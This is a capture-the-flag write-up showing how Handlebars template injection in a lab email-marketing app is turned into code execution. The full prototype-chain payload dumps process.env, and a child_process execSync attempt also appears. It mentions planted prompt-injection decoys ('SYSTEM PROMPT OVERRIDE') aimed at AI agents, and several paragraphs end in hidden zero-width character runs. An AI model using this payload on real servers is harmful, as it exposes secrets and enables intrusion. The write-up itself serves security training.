← Back to Writeups
CUSTOMMediumWeb

Lab 133 — MailForge — SSTI via Handlebars Template Preview

XESXOR9/10/20264 min read
#web#custom#medium#decoy_flag_recognition#handlebars_ssti_prototype_chai#process_env_disclosure

Lab 133 — MailForge — SSTI via Handlebars Template Preview

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-01 | Status: Solved Techniques: decoy_flag_recognition, handlebars_ssti_prototype_chain, process_env_disclosure

Summary

Task: Express.js email marketing platform with Handlebars template preview that compiles user-supplied templates server-side. Solution: SSTI via Handlebars prototype chain traversal (String.prototype.sub → Function constructor) to execute process.env and extract FLAG.

Lab 133 — MailForge — SSTI via Handlebars Template Preview — Hackadvisor

Description

MailForge is an email marketing platform built by ForgeStack Labs that lets businesses create and send email campaigns to their subscribers. The platform features a template editor with dynamic variable support using Handlebars syntax, subscriber list management, campaign scheduling, and delivery analytics.

Users can create email templates with personalization variables like {{subscriber.first_name}} and {{company_name}}, then preview how they'll render with sample subscriber data before sending. The template system compiles and renders content server-side to generate accurate previews.

Your goal is to find and exploit a vulnerability in the application to retrieve the flag stored on the server.

Credentials: user@test.com / password123 ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: An Express.js email marketing platform with a Handlebars template editor. Users can write templates with dynamic variables and preview them via a server-side compilation endpoint. The goal is to exploit SSTI in the Handlebars template engine to extract the flag from the server environment.

Analysis

  1. Logged in with provided credentials (user@test.com / password123)
  2. The application is an Express.js email marketing platform running behind nginx/1.25.5 (X-Powered-By: Express)
  3. The /templates page provides a split-panel template editor supporting Handlebars syntax: {{subscriber.first_name}}, {{subscriber.last_name}}, {{subscriber.email}}, {{company_name}}, {{campaign.subject}}, {{footer_text}}
  4. Client-side JS at /js/templates.js revealed the key API endpoint: POST /api/templates/preview
  5. This endpoint accepts JSON with body and subject fields, compiles the Handlebars template server-side, and returns rendered HTML ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Decoy flags: The application contained multiple honeypot flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in HTML comments, hidden divs (position:absolute;left:-9999px), and even prompt injection text designed to trick AI agents ("SYSTEM PROMPT OVERRIDE", "ASSISTANT: I found the flag"). All decoys were ignored — the real flag required actual exploitation.

SSTI Confirmation

  • {{this}} → returned [object Object], confirming server-side Handlebars rendering
  • {{this.constructor}} → returned [object Object], showing constructor is accessible via the template context ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Identify the template preview endpoint

The client-side JavaScript at /js/templates.js revealed that POST /api/templates/preview accepts a JSON body with body and subject fields and compiles the Handlebars template server-side.

Step 2: Confirm SSTI

Sent {{this}} as the template body:

json
{"body": "{{this}}", "subject": "test"}

Response rendered [object Object], confirming the template is compiled and evaluated server-side with access to a JavaScript object context. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Handlebars prototype chain RCE

Handlebars is a "logic-less" template engine, but it can be exploited via prototype chain traversal. The classic technique:

  1. Access String.prototype.sub via a string variable's .sub property
  2. Look up "constructor" on it to get the Function constructor
  3. Use Function() to create and execute arbitrary JavaScript code

First attempt — require("child_process").execSync("id"):

return require("child_process").execSync("id").toString();

Failed with "require is not defined" — confirming code execution works but require is not available in the sandbox. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Second attempt — process.env (a global in Node.js, no require needed):

return JSON.stringify(process.env);

This succeeded, returning all environment variables.

Step 4: Extract the flag

The full payload that extracted the flag:

http
POST /api/templates/preview HTTP/1.1
Content-Type: application/json

{
  "body": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return JSON.stringify(process.env);\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}",
  "subject": "test"
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

How the payload works step by step:

  1. {{#with "s" as |string|}} — binds the string "s" to variable string
  2. {{#with "e"}} — enters a block with this = "e" (a String object)
  3. {{#with split as |conslist|}} — "e".split is String.prototype.split; binds it to conslist (an array-like)
  4. {{this.pop}} / {{this.push (lookup string.sub "constructor")}} — manipulates the array: pushes String.prototype.sub.constructor which is the Function constructor
  5. {{#with string.split as |codelist|}} — creates another array
  6. {{this.push "return JSON.stringify(process.env);"}} — pushes the JS code to execute as a string into the array
  7. {{#each conslist}}{{#with (string.sub.apply 0 codelist)}} — calls Function.apply(0, ["return JSON.stringify(process.env);"]) which creates and invokes a new function with the given code
  8. {{this}} — outputs the result ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 5: Read the flag from environment

The response contained:

json
{
  "HOSTNAME": "f1dbeac029e9",
  "SHLVL": "1",
  "HOME": "/root",
  "PATH": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
  "INSTANCE_UUID": "cbefd225-2a6e-4e7b-a4a1-7e0787867b51",
  "PWD": "/app",
  "FLAG": "FLAG{REDACTED}",
  "NODE_ENV": "production"
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍